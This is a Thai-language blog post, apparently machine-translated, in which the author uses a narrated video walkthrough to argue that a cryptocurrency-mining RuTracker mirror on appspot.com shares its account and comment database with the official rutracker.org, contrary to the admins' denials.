หลังจากนั้น ฉันได้รับข้อความแสดงความโกรธในความคิดเห็นว่าฉันเป็นคนโง่จริงๆ และมิเรอร์ที่ฉันอธิบายนั้นไม่ได้เป็นของ Root Tracker และไม่ได้เชื่อมต่อกับ Root Tracker แต่อย่างใด ฉันไม่ได้ให้ความสำคัญกับเรื่องนี้มากนัก และในความคิดเห็นของบันทึกนั้น ฉันก็ถามคำถาม แต่แล้วกระจกนั้นล่ะ rutracker-org.appspot.comทำซ้ำไม่เพียง แต่การออกแบบเว็บไซต์อย่างเป็นทางการของ rutracker เท่านั้น rutracker.orgแต่ยังเล่นเนื้อหาซ้ำทั้งหมดอีกด้วย อย่างไรก็ตาม ข้าพเจ้าได้ยินเช่นนั้นจึงตอบไปว่า: " คุณเป็นคนโง่ Volok และคุณไม่เข้าใจอะไรเลย".

ด้วยความเหมาะสมกับคนที่มีสติ เขาจึงเริ่มคิดถึงสิ่งต่อไปนี้: ถ้าพวกเขาบอกฉันว่าฉันเป็นคนโง่ บางทีนั่นอาจเป็นเรื่องจริงเหรอ?ฉันก็คิดอย่างนั้นเหมือนกัน แต่กลับกลายเป็นว่าไม่ - ในสถานการณ์นี้ฉันไม่ใช่คนโง่ แต่สิ่งแรกก่อน

หลังจากที่ผู้ดูแลระบบ RuTracker เริ่มพูดในความคิดเห็นว่า:

เราไม่มีกระจกหรือ "โครงการย่อย" อื่น ๆ! “โคลน” ตัวติดตามรูทอื่น ๆ ทั้งหมดที่ทำซ้ำโครงสร้างและการออกแบบของเราไม่เกี่ยวข้องกับเรา การใช้งานอาจนำไปสู่การขโมยรหัสผ่าน การใช้คอมพิวเตอร์ของคุณสำหรับการขุด cryptocurrency และปัญหาอื่น ๆ ! Maintracker ก็ของปลอมเช่นกัน!!

ฉันเริ่มคิดว่าบางทีฉันอาจจะถูกพาตัวไปจริงๆและใส่ร้ายคนจาก RuTracker อย่างไร้ประโยชน์ โอเค ฉันตัดสินใจเปรียบเทียบความคิดเห็นจากเว็บไซต์ RuTracker อย่างเป็นทางการ - rutracker.orgและความคิดเห็นจากกระจก rutracker rutracker-org.appspot.comซึ่งขออนุญาตเพื่อสร้างสกุลเงินดิจิทัล ปรากฎว่าความเห็นตรงกันทุกประการ แต่ฉันตัดสินใจแล้วว่าจะไม่มีใครเชื่อฉันและต้องการจับภาพหน้าจอ แต่ความคิดนี้ก็ดูโง่เขลาเช่นกัน เพราะ... ความคิดเห็นสามารถลบและแก้ไขได้อย่างง่ายดาย

ความคิดที่ดีที่สุดคือการบันทึกวิดีโอ ลองดูแล้วฉันจะแสดงความคิดเห็นเกี่ยวกับสิ่งที่เกิดขึ้นที่นี่:

คุณได้ดู? ฉันจะบอกทันทีว่าฉันนำเสนอวิดีโอ "ตามที่เป็นอยู่" นั่นคือโดยไม่ต้องตัดต่อ ดังนั้นจึงไม่มีการแสดงความคิดเห็นหรือพากย์เสียงใดๆ ลองหาดูว่าเกิดอะไรขึ้นที่นี่

ขั้นแรก ฉันสร้างกล่องจดหมายเพื่อลงทะเบียนบนเว็บไซต์ rutracker-org.appspot.com. ใช่ บนเว็บไซต์ที่ขุดสกุลเงินดิจิตอล ทำไมจึงเป็นเช่นนั้นและไม่อยู่บนเว็บไซต์อย่างเป็นทางการ? rutracker.org? ความจริงก็คือฉันต้องเผชิญกับงานแสดงสิ่งที่ไซต์ rutracker-org.appspot.comและ rutracker.orgฐานข้อมูลเดียวนั่นคือไซต์เหล่านี้เชื่อมต่อถึงกันซึ่งตรงกันข้ามกับคำสั่งของผู้ดูแลระบบตัวติดตามรูท

หลังจากที่ฉันเปิดอีเมล ฉันก็เปิดเบราว์เซอร์ Tor และโหลดสามแท็บ:

1. เว็บไซต์อย่างเป็นทางการ rutracker.org;

2. มิเรอร์ RuTracker rutracker-org.appspot.com;

3. แท็บที่มีกล่องจดหมายเปิดอยู่

หลังจากนี้บนกระจก RuTracker rutracker-org.appspot.comฉันลงทะเบียน (เวลา 00:25) และอีเมลเปิดใช้งานบัญชีมาถึงกล่องจดหมายของฉัน (เวลา 00:57) และที่นี่การเต้นรำที่น่าสนใจเริ่มต้นขึ้นหรือการเต้นรำที่น่าขนลุกพร้อมกับการเผาไหม้ก้นของผู้ดูแลไซต์: รหัสเปิดใช้งานมีลิงก์ไปยังเว็บไซต์อย่างเป็นทางการของตัวติดตาม (เวลา 1:00 น.):

https://rutracker.org/forum/profile.php?mode=activate&u=43055955&act_key=nUMiXqWX19EF

ลิงก์นี้ใช้งานได้และนำไปสู่เว็บไซต์อย่างเป็นทางการโดยตรง rutracker.org. โดยคลิกที่ลิงค์บัญชีที่สร้างขึ้นบนมิเรอร์ rutracker-org.appspot.comเปิดใช้งานสำเร็จแล้วบนเว็บไซต์อย่างเป็นทางการ rutracker.org(เวลา 1:06). เข้าสู่ความมหัศจรรย์ของเทคโนโลยีและความคิดอันอัศจรรย์ของแอดมิน ดูเหมือนว่ามีบางอย่างเริ่มสูบบุหรี่ให้กับผู้ดูแลไซต์ โอเคฉันเป็นคนโง่อย่างที่พวกเขาพูดจะเอาอะไรไปจากฉัน ไปข้างหน้า.

หลังจากเปิดใช้งานบัญชีของฉันสำเร็จแล้ว ฉันจะไปที่กระจก rutracker-org.appspot.comและลองล็อกอินเข้าสู่เว็บไซต์ (เวลา 1:45) หลังจากเข้าสู่ captcha ฉันเข้าสู่ระบบได้สำเร็จโดยใช้บัญชีที่สร้างขึ้นในตัวติดตาม "ไม่เป็นทางการ" (เวลา 2:03) และในขณะนี้ก็มีการแจ้งเตือนแบบเดียวกันปรากฏขึ้น (เวลา 2:07):

ฉันคลิกที่ปุ่ม "อนุญาต" (เวลา 2:08) เพราะไม่เช่นนั้นฉันจะไม่สามารถเข้าสู่ระบบได้ หลังจากนั้นผมแสดงว่าบัญชีส่วนตัวว่างเปล่าและผมยังไม่ได้แสดงความคิดเห็นใดๆ (เวลา 2:20)

ตอนนี้ เพื่อแสดงความสัมพันธ์ระหว่างมิเรอร์กับเว็บไซต์อย่างเป็นทางการ ฉันเลือกการแจกแจงแบบสุ่มบนเว็บไซต์ rutracker-org.appspot.comและแสดงความคิดเห็น (เวลา 3:10) หลังจากนั้นบนเว็บไซต์อย่างเป็นทางการ rutracker.orgฉันพยายามเข้าสู่ระบบ (เวลา 3:40) ด้วยบัญชีที่สร้างบนมิเรอร์ตัวติดตามรูท และดูเถิด การเข้าสู่ระบบและรหัสผ่านจากมิเรอร์ "ไม่เป็นทางการ" ปรากฏขึ้นที่เว็บไซต์อย่างเป็นทางการ (เวลา 4:00 น.) เหตุบังเอิญ? อย่าคิดนะ.

ไปต่อกัน เปิดรายการข้อความที่เหลืออยู่ในตัวติดตาม และสิ่งที่เราเห็น: การกระจายที่คุ้นเคยในรายการหัวข้อ (เวลา 4:05) อาจเป็นเรื่องบังเอิญด้วย และเพื่อการโน้มน้าวใจมากขึ้น ฉันเปิดความคิดเห็นที่ฉันทิ้งไว้ในการแจกแจงนี้บนกระจกที่ผู้ดูแลระบบไม่รู้จัก (เวลา 4:17)

เปรียบเทียบความคิดเห็นกับการเผยแพร่จากเว็บไซต์ rutracker-org.appspot.comและ rutracker.org(เวลา 5.54) และอีกครั้งหนึ่งที่เราเชื่อมั่นว่าทั้งสองไซต์เชื่อมโยงถึงกัน

ผู้ดูแลเว็บไซต์เขียนถึงฉันว่าอย่างไร ดูเหมือนว่าพวกเขาทำให้ฉันเชื่อว่าเว็บไซต์อย่างเป็นทางการและมิเรอร์ rutracker-org.appspot.comไม่ได้เชื่อมต่อกันแต่อย่างใด ความคิดเห็นของผู้ดูแลระบบตัวติดตามระบุไว้อย่างชัดเจนว่ามิเรอร์ทั้งหมดเพียงแค่ทำซ้ำโครงสร้างและการออกแบบของไซต์ แต่ไม่ได้เชื่อมโยงถึงกัน แต่จากที่เราเห็นกลับกลายเป็นว่าเว็บทางการก็ลอกความคิดเห็นมาจากกระจกฝั่งซ้ายบางอัน? ไม่นั่นก็เป็นเรื่องไร้สาระเช่นกัน ความจริงอยู่ที่ไหน? ความจริงก็คือทั้งสองไซต์นี้มีฐานข้อมูลเดียวและมีมิเรอร์หลายตัว ซึ่งบางอันได้รับการยอมรับจากผู้ดูแลระบบตัวติดตาม ในขณะที่บางแห่งไม่เป็นที่รู้จักและถูกใช้เพื่อสร้างสกุลเงินดิจิทัล

ปรากฎว่าตลอดเวลานี้ในความคิดเห็นพวกเขาพยายามระบายเรื่องไร้สาระเข้าหูของฉันและโน้มน้าวฉันว่าฉันควรจะไปที่ไซต์ผิดโดยสิ้นเชิง แต่ในความเป็นจริงกลับกลายเป็นว่าไซต์นี้เป็นของ RuTracker ด้วย

สงสัยตอนนี้คงมีคนเริ่มมีอาการอักเสบในข้อที่ 5 แล้ว จะถูกอาบทั้งคำขู่ ดูหมิ่น ฯลฯ แต่ฉันคิดจริงๆ แล้วว่ามันไร้ประโยชน์ที่จะโจมตีพวกนั้นและพวกเขาก็ไม่ต้องตำหนิอะไรเลย มันแตกต่างไปจากเดิมอย่างสิ้นเชิงและวิดีโอก็เป็นข้อพิสูจน์เรื่องนี้ ดังที่เพื่อนร่วมงานกล่าวว่า: RuTracker - คุณเป็นเหมือนพี่ชายของฉัน.